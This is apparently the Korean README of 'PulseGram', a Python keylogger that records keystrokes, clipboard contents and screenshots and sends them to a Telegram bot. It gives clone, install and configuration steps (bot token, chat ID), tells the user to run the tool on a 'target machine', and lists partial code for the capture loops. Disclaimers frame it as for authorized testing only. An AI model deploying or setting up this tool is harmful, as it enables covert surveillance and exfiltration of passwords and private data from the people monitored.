
공인된 보안 테스트 환경에서 키 입력, 클립보드 콘텐츠, 스크린샷을 캡처하기 위해 Telegram 봇 통합을 갖춘 Python 기반 키로거
PulseGram은 Telegram 봇과 통합된 키로거입니다. 키 입력, 클립보드 내용, 스크린샷을 캡처하여 구성된 Telegram 봇으로 전송하는 모니터링 도구입니다. 이 도구는 적대적 시뮬레이션 및 보안 테스트 환경에서 사용하기 위해 설계되었습니다.
⚠️ 경고: 이 프로젝트는 교육 목적 및 승인된 환경에서의 보안 테스트 전용입니다. 이 도구의 무단 사용은 불법일 수 있으며 금지됩니다.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt 파일에 오류를 기록하여 디버깅을 용이하게 합니다.
리포지토리 클론:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
종속성 설치: Python 3과 pip가 설치되어 있는지 확인하십시오. 그런 다음 실행하십시오:
pip install -r requirements.txt
Telegram 봇 토큰 설정:
BotFather를 사용하여 Telegram에서 봇을 만드십시오.
토큰을 복사하여 main.py 코드에서 봇이 초기화되는 부분에 붙여넣으십시오.
keylogger.py에서 당신의 ChatID chat_id="131933xxxx"를 복사하십시오.
대상 머신에서 다음 명령으로 도구를 실행하십시오:
python pulsegram.py
이 파일은 도구의 메인 파일로, 봇을 초기화하고 데이터를 캡처하여 전송하는 비동기 작업을 실행합니다.
Bot(token="..."): 개인 토큰으로 Telegram 봇을 초기화합니다.
asyncio.gather(...): 여러 작업을 실행하여 클립보드 모니터링, 스크린샷 캡처, 키 입력 로깅을 수행합니다.
log_error: 오류 발생 시 errors_log.txt 파일에 기록합니다.
이 모듈은 도구의 전반적인 작동을 지원하는 보조 함수를 포함합니다.
log_error(): errors_log.txt에 날짜와 시간 형식으로 오류를 기록합니다.
get_clipboard_content(): 클립보드의 현재 내용을 캡처합니다.
capture_screenshot(): 스크린샷을 찍고 임시로 저장하여 Telegram 봇으로 전송합니다.
이 모듈은 키 로깅, 클립보드 모니터링 및 스크린샷 캡처를 처리합니다.
capture_keystrokes(bot): 키 입력을 캡처하여 Telegram 봇으로 정보를 전송하는 비동기 함수입니다.
send_keystrokes_to_telegram(bot): 누적된 키 입력을 봇으로 전송하는 함수입니다.
capture_screenshots(bot): 주기적으로 화면 이미지를 캡처하여 봇으로 전송합니다.
log_clipboard(bot): 클립보드의 내용을 봇으로 전송합니다.
캡처 및 정보 전송 시간 간격을 변경하십시오.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
이 프로젝트는 교육 목적 및 자신의 환경 또는 명시적 승인을 받은 보안 테스트 전용입니다. 이 도구의 무단 사용은 현지 법률 및 개인정보 보호 정책을 위반할 수 있습니다.
기여는 환영합니다. 협업 시 행동 강령을 준수해 주십시오.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.